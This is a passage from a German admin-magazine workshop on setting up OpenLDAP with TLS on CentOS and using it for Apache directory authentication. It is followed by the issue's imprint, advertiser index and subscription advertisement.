LDAP Server« in der Zertifikatsdatenbank 

gespeichert. Bei NSS-basierten 

Zertfikaten wird zwischen dem Common 

Name, der üblicherweise dem 

Hostnamen des Servers entspricht, und 

dem lesbaren Namen unterschieden. 

Beide Namen können voneinander 

abweichen. Daher wird in dem obigen 

Kommando der Hostname des Servers 

mit der Kommandzeilenoption »‐h 

ldap.acme‐services.org« angegeben. 

Hier tritt eine Besonderheit der LDAP- 

Konfiguration zu Tage: Wenn der Open- 

LDAP-Server sowohl mit der Methode 

»StartTLS« als auch mit dem traditionellen 

SSL angesprochen werden soll, 

muss der Common Name (»‐h«) dem 

Hostnamen des Servers entsprechen. 

Nachdem dieser Teil der Konfiguration 

abgeschlossen ist, müssen Sie lediglich 

die Datei »/etc/sysconfig/ldap« um die 

Option »ldaps« erweitern. Die Zeile 

»SLAPD_LDAPS«, die in der Grundkonfiguration 

auf »no« steht, ändern Sie auf 

»yes«. Nach einem Neustart versteht es 

der OpenLDAP-Server, SSL-Verbindungen 

(SSL und StartTLS) entgegenzunehmen: 

$ sudo service slapd restart 

cn=httpd 

Nun können Sie mit »openssl« die 

Verbindung überprüfen. Jetzt vertraut 

»openssl« diesem Zertifikat noch nicht 

und weist es als self-signed aus. Es ist 

daher erforderlich, das Zertifikat aus 

der Zertifikatsdatenbank in das systemweite 

Zertifikatsverzeichnis zu exportieren 

und mit dem erforderlichen 

Zertifikats-Hash zu verlinken: 

$ sudo certutil ‐L U 

‐d /etc/openldap/certs U 

‐n "OpenLDAP Server" U 

‐a > /etc/pki/tls/certs/ldap.U 

acme‐services.org.crt 

$ sudo ln ‐sf U 

/etc/pki/tls/certs/ldap.acme‐U 

services.org.crt $(openssl x509 ‐in ldapU 

.acme‐services.org.crt ‐noout ‐hash).0 

Nach diesen beiden Schritten können 

Sie das Zertifikat des Server mit dem 

»openssl«-Kommando überprüfen. 

Es stellt für diesen Zweck den Befehl 

»s_client« zur Verfügung: 

$ openssl s_client U 

‐connect ldap.acme‐services.org:636 

Die Ausgabe der Zertifikate erfolgt dabei 

auf der Konsole. Entscheidend ist 

hierbei die letzte Zeile, die nach korrekter 

Konfiguration »0 (ok)« lauten sollte. 

Das Kommando wartet nun auf Eingaben. 

Da es jedoch nur das Zertifikat testen 

sollte, können Sie es mit [Strg]+[C] 

abbrechen. 

Der zweite Weg beschreibt die Verwendung 

eigener Zertifikate, die 

nicht in der Zertifikatsdatenbank des 

OpenLDAP liegen sollen. Oft ist es 

sogar durchaus sinnvoll, Zertifikate 

nicht dort zu speichern, beispielsweise 

wenn weitere Dienste diese Zertifikate 

nutzen sollen. CentOS speichert Zertifikate 

in dem Verzeichnis »/etc/pki/tls/ 

certs« und die Keys in »/etc/pki/tls/private«. 

Es ist darauf zu achten, dass die 

Gruppe, die Zugriff auf private Keys hat, 

den OpenLDAP-Server einschließt. Der 

OpenLDAP-Server läuft als Benutzer 

»ldap« mit der Gruppe »ldap«. Es bietet 

sich daher an, den Besitzer »root« und 

die Gruppe »ldap« dem privaten Keyfile 

zuzuweisen. Die Rechte sollten auf 640 

gesetzt sein. 

Leider kennt der OpenLDAP-Server 

in der Standardkonfiguration diesen 

Key nicht, den man deshalb gesondert 

konfigurieren muss. Listing 2 zeigt eine 


freeX 

OpenLDAP 

111 

Beispielkonfiguration. Mit dem Kommando 

»ldapmodify« fügen Sie diese 

Datei, ähnlich wie beim Einlesen der initialen 

Konfiguration, dem LDAP-Server 

hinzu. Anschließend ist wie beim ersten 

Weg die Variable »SLAPD_LDAPS« in der 

Datei »/etc/sysconfig/ldap« auf »yes« 

zu setzen und der Server erneut zu starten. 

Achten Sie darauf, dass der private 

Schlüssel nicht mit einem Passwort 

geschützt ist. 

Damit der Server jetzt schon die neue 

SSL-Verbindungen nutzt, ist es hilfreich, 

die Konfigurationsdatei der LDAP- 

Clients »/etc/openldap/ldap.conf« anzupassen 

(siehe Listing 3). Bei der Anpassung 

der Konfigurationsdatei ist der 

Weg zur Einrichtung der SSL-Verschlüsselung 

zu beachten. Insbesondere den 

Parameter »TLS_CACERTDIR« müssen 

Sie gegebenenfalls auf die systemweite 

Zertifikatsdatenbank anpassen. 

Damit ist die Konfiguration des Servers 

abgeschlossen und die Einrichtung der 

Benutzerdatenbank kann beginnen. 

Aufbau des Verzeichnisses 

In diesem Abschnitt soll der Informationsbaum 

für die Benutzerdaten erstellt 

werden. Der Toplevel dieses Baums 

wurde bereits festgelegt und besteht 

aus den beiden Domain-Components 

(DC) »dc=acme‐services« und »dc=org«. 

Alle neuen Strukturen werden unter 

diesem Punkt aufgehängt. Der Baum 

soll wie in Abbildung 1 aussehen. 

Jetzt geht es darum, neue LDAP- 

Objekte zu generieren und ihnen die 

erforderlichen Attribute zuzuweisen. 

Objekte sind dabei eindeutig zu identifizierende 

Knotenpunkte, die als Attribut 

spezielle Objektklassen besitzen. 

Die Objektklassen können zum Beispiel 

»organizationalUnit«, »domain«, »inetOrgPerson« 

oder »posixAccount« 

sein. 

Welche Objektklassen zur Verfügung 

stehen, hängt von den Schemata ab, 

die der LDAP-Server konfiguriert hat. 

In Abbildung 2 ist der Zusammenhang 

grafisch dargestellt. 

Eingebaute Schemata 

Ein OpenLDAP-Server kann unterschiedlichste 

Schemata verwalten und 

hat nach einer Standardinstallation 

bereits zehn davon installiert. Beispiele 

für weitere Datenmodelle sind 

etwa Samba, Yubikey, DHCP und so 

weiter. Hier soll es im Weiteren aber 

ausschließlich um die mitgelieferten 

Schemata gehen. 

Den Benutzerbaum legen Sie wieder 

mithilfe einer LDIF-Datei an. Listing 4 

Schema 

Attribute 

ObjectClass 

Abbildung 2: Aufbau von LDAP-Schemata und Objektklassen. 

zeigt die LDIF-Datei, die die erforderlichen 

Daten im Directory-Baum anlegt. 

Anders als bisher kommen jetzt erstmalig 

das Kommando »ldapadd« und 

der neu angelegte Benutzer »manager« 

ins Spiel. Das folgende Kommando liest 

die LDIF-Datei ein: 

$ ldapadd ‐x ‐W ‐D cn=manager,dc=U 

acme‐services,dc=org ‐f base.ldif 

n Listing 4: »base.ldif« 

01 dn: dc=acme‐services,dc=org 

02 dc: acme‐services 

03 objectClass: top 

04 objectClass: domain 

05 

06 dn: ou=people,dc=acme‐services,dc=org 

07 ou: people 

08 objectClass: 

09 

10 dn: ou=groups,dc=acme‐services,dc=org 

11 ou: groups 

12 objectClass: organizationalUnit 

13 

14 dn: ou=systems,dc=acme‐services,dc=org 

15 ou: systems 

16 objectClass: organizationalUnit 

17 

18 dn: uid=uhabel,ou=people,dc=acme‐services,dc=org 

19 objectClass: person 

20 objectClass: organizationalPerson 

21 objectClass: inetOrgPerson 

22 objectClass: posixAccount 

23 cn: Ulrich Habel 

24 gidNumber: 100 

25 homeDirectory: /home/uhabel 

26 sn: Habel 

27 uid: uhabel 

28 uidNumber: 1000 

29 userPassword: {SSHA}GT+mLzLeRPGE7176X1Btmt9AzSolCTRa 

30 

31 dn: cn=vcsldap,ou=groups,dc=acme‐services,dc=org 

32 objectClass: groupOfUniqueNames 


34 cn: vcsldap 

35 uniqueMember: uid=uhabel,ou=people,dc=acme‐services,dc=org 

36 

37 dn: cn=httpd,ou=systems,dc=acme‐services,dc=org 

38 objectClass: inetOrgPerson 

39 objectClass: organizationalPerson 

40 objectClass: person 


42 cn: httpd 

43 sn: httpd Webserver 

44 userPassword: {SSHA}GT+mLzLeRPGE7176X1Btmt9AzSolCTRa 


Admin 

Ausgabe 02-2014

112 

freeX 

OpenLDAP 

Abbildung 3: »ldapvi« – ein elegantes Kommandozeilen-Tool. 

Ein paar Dinge fallen bei diesem Kommando 

auf. Es muss nicht mehr der Benutzer 

»root« des Systems verwendet 

werden, sondern jeder beliebige User 

kann es ausführen. Für die Anmeldung 

ist ein Kennwort erforderlich, im Beispiel 

das Kennwort »geheim«. Der Benutzer 

wird durch den Kommandozeilenschalter 

»‐D« bestimmt, hinter der 

ein DN (Distinguished Name) des Users 

folgt. Weil jede DN nur ein einziges 

Mal im System vorhanden ist, ist der 

Benutzer eindeutig. Der Schalter »‐x« 

gibt dabei an, dass kein SASL-Verfahren 

für die Authentifizierung verwendet 

wird, der Schalter »‐W« erfordert die 

Passworteingabe. Nach dem Einlesen 

der LDIF-Datei ist der in Abbildung 1 

gezeigte Informationsbaum komplett 

initialisiert. 

Testen und ausprobieren 

Jetzt bietet es sich an, mit den im LDAP 

vorhandenen Daten erste Erfahrungen 

n Listing 5: »/etc/httpd/conf.d/repositories.conf« 

01 

02 AuthType Basic 

03 AuthName "Repositories" 

04 AuthBasicProvider ldap 

05 AuthLDAPBindDN cn=httpd,ou=systems,dc=acme‐services,dc=org 

06 AuthLDAPBindPassword geheim 

07 AuthzLDAPAuthoritative Off 

08 AuthLDAPURL ldap://localhost/dc=acme‐services,dc=org?uid 

zu sammeln: In einem ersten Schritt 

mit den einfachen Kommandozeilenwerkzeugen, 

dann mit etwas komfortableren 

Tools. 

Eine LDAP-Suche mit den Kommandozeilenwerkzeugen 

ist mühsam und gewöhnungsbedürftig. 

Das nachstehende 

Beispiel meldet sich als der Benutzer 

»uhabel« an und sucht nach Objekten, 

die eine beliebige Objektklasse besitzen. 

Das Resultat werden alle Objekte 

des LDAP-Servers sein, da jedes Objekt 

mindestens über eine Objektklasse verfügen 

muss: 

$ ldapsearch ‐D uid=uhabel,ou=people,U 

dc=acme‐services,dc=org ‐W ‐x U 

'(objectClass=*)' 

Nach der Eingabe des Passworts werden 

alle Einträge gelistet. Das Attribut 

des User-Passworts wird nur bei dem 

User »uhabel« angezeigt, bei den anderen 

Usern bleibt es ausgeblendet. 

Prinzipiell ist es möglich, jeden Knoten 

in dem Verzeichnisbaum mit einer Suche 

ausgeben zu lassen und anschließend 

mit einer passenden LDIF-Datei 

zu modifizieren. Dieses Vorgehen ist 

jedoch sehr zeitintensiv und so haben 

sich verschiedene Benutzer-Tools etablieren 

können. 

09 Require ldap‐group cn=vcsldap,ou=groups,dc=acme‐services,dc=org 

10 

Elegante Kommandozeile 

Das Kommandozeilenwerkzeug 

»ldapvi« [1] verbindet die LDAP-Suche 

mit dem Editor Vi und erlaubt auf diese 

Art und Weise einfache Änderungen. 

Mit dem Speichern und Verlassen des 

Editors wird eine LDIF-Datei erstellt 

und anschließend angewandt. Die 

Kommandozeilenoptionen des Tools 

sind dabei ähnlich dem der »openldap‐clients«, 

die bereits vorgestellt 

wurden: 

$ ldapvi ‐D cn=Manager,dc=acme‐U 

services,dc=org ‐b dc=acme‐servicesU 

,dc=org ‐h ldapi:// 

Der Befehl führt eine Abfrage auf dem 

Verzeichnisbaum durch und stellt das 

Ergebnis im Editor dar (Abbildung 3). So 

lassen sich auch remote auf einer SSH- 

Console Einträge elegant und schnell 

bearbeiten. 

Apache Directory Studio 

Das Apache Directory Studio [2] ist ein 

grafischer Client, der auf dem Eclipse- 

Framework aufbaut (Abbildung 4). 

Alleine der Eclipse-Plattform ist es 

geschuldet, dass der Client-Rechner 

durchaus ein paar Megabyte Speicher 

mehr vertragen kann. Die Stabilität ist 

durchaus als wechselhaft zu bezeichnen, 

dennoch hat sich das Directory 

Studio einen festen Platz erobert. Für 

Administratoren, die eigene Schemata 

entwickeln wollen, führt kein Weg 

an diesem Werkzeug vorbei. Der wesentliche 

Vorteil neben der grafischen 

Darstellung ist die Unterstützung aller 

erdenklichen Lebenssituationen im Leben 

eines LDAP-Administrators. 

Kochrezept 

Verzeichnisschutz 

Das folgende Kochrezept demonstriert, 

wie man einzelne Verzeichnisse 

auf dem Webserver mit Usernamen 

und Passwörtern schützt, die im LDAP 

gespeichert sind. Statt die Benutzer 

umständlich in einzelnen Htpasswd- 

Dateien zu pflegen, lassen sich die 

Accounts zentral im LDAP-Server verwalten. 

Alle Zutaten für dieses Rezept 

liegen schon auf dem Tisch und sind 

reif für den Einsatz. Benötigt werden 

für das Rezept: ein Benutzer-Account 

für den Httpd-Server, eine Gruppe mit 

einem Gruppenmitglied und ein Benutzer, 

der Mitglied der Gruppe ist. 

Geschützt werden soll in diesem Beispiel 

das Verzeichnis »/repositories« 

unmittelbar im Wurzelverzeichnis des 

Webservers. Der Ort ist damit – ohne 

weitere Veränderungen am SELinux- 

Kontext vornehmen zu müssen – »/var/ 

www/html/repositories«. 


freeX 

OpenLDAP 

113 

Mit der Apache-Version 2.2 wurde die 

Art und Weise, wie LDAP verwendet 

wird, grundlegend geändert. Die Installation 

von zusätzlichen Modulen ist 

nicht mehr erforderlich, der Webserver 

bringt in der Grundinstallation bereits 

alles mit, was für den Einsatz von LDAP 

nötig ist. Grundlage des Kochrezeptes 

ist der »httpd«-Benutzer im LDAP-Server, 

der schon oben angelegt wurde. 

LDAP-Module inbegriffen 

Die Authentifizierung und Autorisierung 

am Webserver wird von zwei Modulen 

übernommen: Das Modul »ldap_module« 

stellt die LDAP-Datenstrukturen 

im Webserver zur Verfügung, das Modul 

»authnz_ldap_module« übernimmt die 

Authentifizierung. In der Standardkonfiguration 

des Webservers sind beide 

Module bereits installiert und aktiviert. 

Nach dem Anlegen des Verzeichnisses 

müssen Sie die Location »/repositories« 

auf dem Server konfigurieren und den 

Verzeichnisschutz aktivieren. Eine Beispieldatei 

in diesem Verzeichnis dient 

dem Test: 

$ sudo mkdir /var/www/html/repositories 

$ echo "Hello world" > index.html 

$ sudo cp index.html /var/www/html/U 

repositories/ 

$ sudo chown ‐R apache /var/www/html/U 

repositories 

Die vollständige Konfiguration ist in 

Listing 5 zu sehen. Diese Datei legen 

Sie im Verzeichnis »/etc/httpd/conf.d/ 

repositories.conf« ab und starten den 

Webserver neu. Den Test übernimmt 

das Curl-Kommando: 

$ curl ‐sL ‐w "%{http_code} %{url_U 

effective}\n" http://localhost/U 

repositories/index.html ‐o /dev/null 

401 http://localhost/repositories/U 

index.html 

Die Ausgabe zeigt korrekterweise einen 

401-Fehler an: Das Verzeichnis ist 

jetzt geschützt. Klappt jedoch auch die 

Anmeldung mit einem Benutzer und 

dem zugehörigen Passwort? Durch eine 

kleine Modifikation des Curl-Kommandos 

lässt sich dies leicht überprüfen: 

Abbildung 4: Grafische Oberfläche für LDAP: das Apache Directory Studio. 

$ curl ‐sL ‐w "%{http_code} %{url_U 

effective}\n" ‐u uhabel:geheim http:U 

//localhost/repositories/index.html U 

‐o /dev/null 

200 http://localhost/repositories/indexU 

.html 

Voila, das Verzeichnis ist geschützt und 

alles funktioniert wie erwartet. 

Es gibt ein paar kleine Besonderheiten 

bei der Webserver-Konfigurationsdatei, 

auf die es sich lohnt näher einzugehen. 

Der Einfachheit halber wurde in diesem 

Beispiel »ldap« verwendet, da der Zugriff 

ausschließlich auf den Localhost 

und damit über das Loopback-Interface 

stattfand. Für einen produktiven Einsatz 

von Webservern, die über das Netz 

auf den OpenLDAP-Server zugreifen, 

sollte hier SSL (»ldaps«) eingesetzt 

werden. Der Verzeichnisschutz wird 

in diesem Beispiel über die Gruppe 

»vcsldap« und die Gruppenmitglieder 

realisiert. So lassen sich leicht verschiedene 

Gruppen etablieren, um unterschiedliche 

Bereiche des Webservers zu 

schützen. 

Ausblick 

In dem Workshop wurde ein kleiner 

Einblick in die Welt des OpenLDAP- 

Servers mit aktuellem Konfigurationsmodell 

»cn=config« gegeben und ein 

funktionstauglicher OpenLDAP-Server 

installiert. Was jetzt noch fehlt, sind 

weitere Benutzer und weitere Anwendungsfälle, 

die aber künftigen Artikeln 

vorbehalten sind. 

Die Dokumentation des OpenLDAP-Servers 

[3] verbessert sich kontinuierlich, 

dennoch ist auch in der offziellen Dokumentation 

noch oft die Beschreibung 

des alten Konfigurationsmodells mit 

der Konfigurationsdatei »/etc/slapd. 

conf« zu finden. Hier helfen dann nur 

Blicke in die Mailinglisten weiter, die 

einem hoffentlich die eine oder andere 

Erleuchtung bringen. (ofr) n 

n Info 





[1] ldapvi: [http:// www. lichteblau. com/ ldapvi/] 

[2] Apache Directory Studio: 

[http:// directory. apache. org/ studio/] 

[3] OpenLDAP-Projekt: 

[http:// www. openldap. org] 

n Autor 

Ulrich Habel ist Perl-Evangelist und Anhänger der 

Test-Driven-Development-Methodik. Er engagiert 

sich für den Einsatz von Open-Source-Technologien 

in Firmen und ist Mitglied im NetBSD-Projekt. 


Admin 

Ausgabe 02-2014

114 

Service 

Impressum und Vorschau 

n Impressum ISSN 2190-1066 

ADMIN-Magazin eine Publikation der Medialinx AG 

Redaktionsanschrift Putzbrunner Straße 71 

81739 München 

Tel.: 0 89 / 99 34 11-0 

Fax: 0 89 / 99 34 11-99 oder -96 

Internet 


E-Mail 

redaktion@admin-magazin.de 

Geschäftsleitung Brian Osborn (Vorstand), bosborn@medialinx-gruppe.de 

Hermann Plank (Vorstand), hplank@medialinx-gruppe.de 

Chefredakteure 

Oliver Frommel (V. i. S. d. P.), 

ofrommel@admin-magazin.de (ofr) 

Jens-Christoph Brendel 

jbrendel@admin-magazin.de (jcb) 

Redaktion 

News/Report 

Ulrich Bantle (Ltg.), ubantle@medialinx-gruppe.de (uba) 

Mathias Huber, mhuber@medialinx-gruppe.de (mhu) 

Software/Programmieren Carsten Schnober, cschnober@medialinx-gruppe.de (csc) 

Kristian Kißling, kkissling@medialinx-gruppe.de (kki) 

Security/Networking Markus Feilner, mfeilner@medialinx-gruppe.de (mfe) 

Thomas Leichtenstern, tleichtenstern@medialinx-gruppe.de (tle) 

Ständige Mitarbeiter David Göhler (Schlussredaktion), Tim Schürmann, Claudia Thalgott 

Produktionsleitung 

Grafik 

Abo-Infoseite 

Abonnenten-Service 

Christian Ullrich, cullrich@medialinx-gruppe.de 

Judith Erb (Design und Layout) 

Titel: Judith Erb, Ausgangsgrafik: Andrei Tarchyshnik, 123RF 

www.admin-magazin.de/abo 

Gudrun Blanz (Teamleitung) 

abo@admin-magazin.de 

Tel.: 07131/27 07 274, Fax: 07131/27 07 78 601 

Preise Print Deutschland Österreich Schweiz Ausland EU 

Einzelheft € 9,80 € 10,80 Sfr 19,60 (siehe Titel) 

Mini-Abo (3 Ausgaben) € 9,80 € 10,80 Sfr 19,60 (siehe Titel) 

Jahres-DVD (Einzelpreis) € 14,95 € 14,95 Sfr 18,90 € 14,95 

Jahres-DVD (zum Abo 1 ) € 6,70 € 6,70 Sfr 8,50 € 6,70 

Jahresabo € 99,90 € 109,90 Sfr 159,90 € 129,90 

Preise Digital Deutschland Österreich Schweiz Ausland EU 

Heft-PDF Einzelausgabe € 9,80 € 9,80 Sfr 10,71 € 9,80 

DigiSub (12 Ausgaben) € 89,90 € 89,90 Sfr 129,50 € 89,90 

DigiSub (zum Printabo) € 12,— € 12,— Sfr 12,— € 12,— 

HTML-Archiv (zum Abo 1 ) € 48,— € 48,— Sfr 48,— € 48,— 

Preise Kombiabos 

Profi-Abo 2 € 181,90 € 198,90 Sfr 235,90 € 219,90 

1 

nur erhältlich in Verbindung mit einem Jahresabo Print oder Digital 

2 

mit Linux-Magazin-Abo und beiden Jahres-DVDs 

Schüler- und Studenten-Ermäßigung: 20 Prozent gegen Vorlage eines Schülerausweises oder einer 

aktuellen Immatrikulationsbescheinigung. Der aktuelle Nachweis ist bei Verlängerung neu zu erbringen. 

Andere Abo-Formen, Ermäßigungen im Ausland etc. auf Anfrage. 

Adressänderungen bitte umgehend mitteilen, da Nachsendeaufträge bei der Post nicht für 

Zeitschriften gelten. 

Pressemitteilungen info@admin-magazin.de 

Anzeigen/Repräsentanz Es gilt die Anzeigenpreisliste vom 01.01.2013 

National 

Pressevertrieb 

Druck 

Petra Jaser 

Tel.: 089 / 99 34 11 24, Fax: 089 / 99 34 11 99 

E-Mail: pjaser@medialinx-gruppe.de 

Michael Seiter 

Tel.: 089 / 99 34 11 23, Fax: 089 / 99 34 11 99 

E-Mail: mseiter@medialinx-gruppe.de 

MZV, Moderner Zeitschriften Vertrieb GmbH 

Breslauer Straße 5, 85386 Eching 

Tel.: 089 / 31906-0, Fax: 089 / 31906-113 

Vogel Druck und Medienservice GmbH 

97204 Höchberg 

Der Begriff Unix wird in dieser Schreibweise als generelle Bezeichnung für die Unix-ähnlichen Betriebssysteme 

verschiedener Hersteller, zum Beispiel Eurix (Comfood), Ultrix (Digital Equipment), HP/UX (Hewlett- 

Packard) oder Sinix (Siemens) benutzt, nicht als die Bezeichnung für das Trademark von X/Open. Linux ist ein 

eingetragenes Marken zeichen von Linus Torvalds und wird in unserem Markennamen mit seiner Erlaubnis 

verwendet. Alle anderen Marken sind Eigentum der jeweiligen Inhaber. Eine Haftung für die Richtigkeit von 

Veröffentlichungen kann trotz sorgfältiger Prüfung durch die Redaktion vom Verlag nicht übernommen 

werden. Mit der Einsendung von Manu s kripten gibt der Verfasser seine Zustimmung zum Abdruck im ADMIN- 

Magazin. Für unverlangt ein gesandte Manuskripte kann keine Haftung übernommen werden. Die Redaktion 

behält sich vor, Artikel zu kürzen. Das Exklusiv- und Verfügungsrecht für angenommene Manuskripte liegt beim 

Verlag. Es darf kein Teil des Inhalts ohne ausdrückliche schriftliche Genehmigung des Verlags in irgendeiner 

Form vervielfältigt oder verbreitet werden. Copyright © 1994–2013 Medialinx AG 

Stefan Habersack, Fotolia 

n Autoren dieser Ausgabe 

Bastian Ballmann Lauschangriff 46 

Christian Funk Sicherheitsvorkehrungen 24 

Ulrich Habel Zentralregister 106 

Jacob Holcomb Schwachstellen 40 

Thomas Joos Remote-Office 74 

Thomas Joos Zusammen stark 52 

Martin Loschwitz Ablagesystem 58 

Martin Loschwitz Containerterminal 90 

Filipe Pereira Martins Rechenkünstler 64 

Jan Rähm Drahtlos in Grenzen 32 

Thorsten Scherf Ticket-Dienst 16 

n Inserentenverzeichnis 

n Vorschau: ADMIN 02/2014 erscheint am 9. Januar 2014 

Disaster Recovery 

Früher oder später passiert es: 

Entscheidende Hardware fällt 

aus. Der kluge Admin hat natürlich 

vorgesorgt. Wir zeigen wie 

er seine Linux- und Windows- 

Systeme sowie Datenbanken 

rechtzeitig in Sicherheit bringt 

und im Ernstfall schnell wieder 

zum laufenden System kommt. 

ADMIN http://www.admin-magazin.de 67, 107, 115 

ConSol Software GmbH http://www.consol.de 15 

Dell GmbH http://dell.de/VRTX 27 

Deutsche Messe AG http://www.cebit.de 17, 95 

DFN-Cert Services GmbH http://www.dfn-cert.de 63 

Fernschule Weber GmbH http://www.fernschule-weber.de 43 

Galileo Press http://www.galileo-press.de 25 

GIMP-Magazin http://www.gimp-magazin.de 21 

Kettner Mathias - Linux Experte http://www.mathias-kettner.de 41 

Linux-Hotel http://www.linuxhotel.de 33 

Linux-Magazin http://www.linux-magazin.de 61, 104 

Medialinx AG http://www.medialinx-gruppe.de 9, 11 

Medialinx IT-Academy http://www.medialinx-academy.de 55 

Microsoft GmbH http://www.microsoft.com/germany 2, 31 

pascom - Netzwerktechnik GmbH & Co.KG http://www.pascom.net 13 

PlusServer AG http://www.plusserver.de 7, 19, 45, 51, 73, 81 

ppedv http://www.visualstudio1.de 69 

Raspberry Pi Geek http://www.raspberry-pi-geek.de 79 

Thomas Krenn AG http://www.thomas-krenn.com 116 

Windows Phone User http://www.windows-phone-user.de 89 

Einem Teil dieser Ausgabe liegt eine Beilage der Firma HACKATTACK IT SECURITY GmbH (http://www.hackattack.com) 

bei. Wir bitten unsere Leser um freundliche Beachtung. 

Last verteilen mit HA- 

Proxy 

HA-Proxy kommt bei den ganz 

Großen zum Einsatz: Unter 

anderem Twitter, Tumblr und 

Reddit nutzen das Programm, 

um die Benutzermassen auf 

ihre Server zu verteilen. Der 

Veteran entwickelt sich stetig 

weiter; wir zeigen wohin. 

Alexander Bedrin, 123RF 


Admin-mAGAZin 

im JAhres-Abo 

Praktisch anwendbares Wissen und ausführliche 

Hintergrundberichte für alle IT-Administratoren 

von Linux, Unix und Windows. 

NEU! 

Ab sofort 

monatlich 

ihre vorteile 

• 12 Ausgaben im Jahr Frei Haus 

• Erhalten Sie ihre Ausgabe 

schon vor dem offiziellen 

Verkaufstermin 

• Hintergrund-Wissen für alle 

Admins und IT-Entscheider 

• inklusive ADMIN-Specials 

(unter anderem zu IPv6 und SSD) 

JETZT ZUgrEifEN 

UNd übEr 15% SpArEN! 

Jetzt abonnieren: 

www.admin-magazin.de/abo 

(Printabo 99,90 Euro, digitales Abo nur 89,90 Euro) 

• Telefon 07131 / 2707 274 • Fax 07131 / 2707 78 601 • E-Mail: abo@admin-magazin.de •

ADMIN Magazin Drahtlos glücklich - WLANs sicher nutzen mit IEEE 802.1x (Vorschau)

Erfolgreiche ePaper selbst erstellen

Template löschen?

Als Template speichern?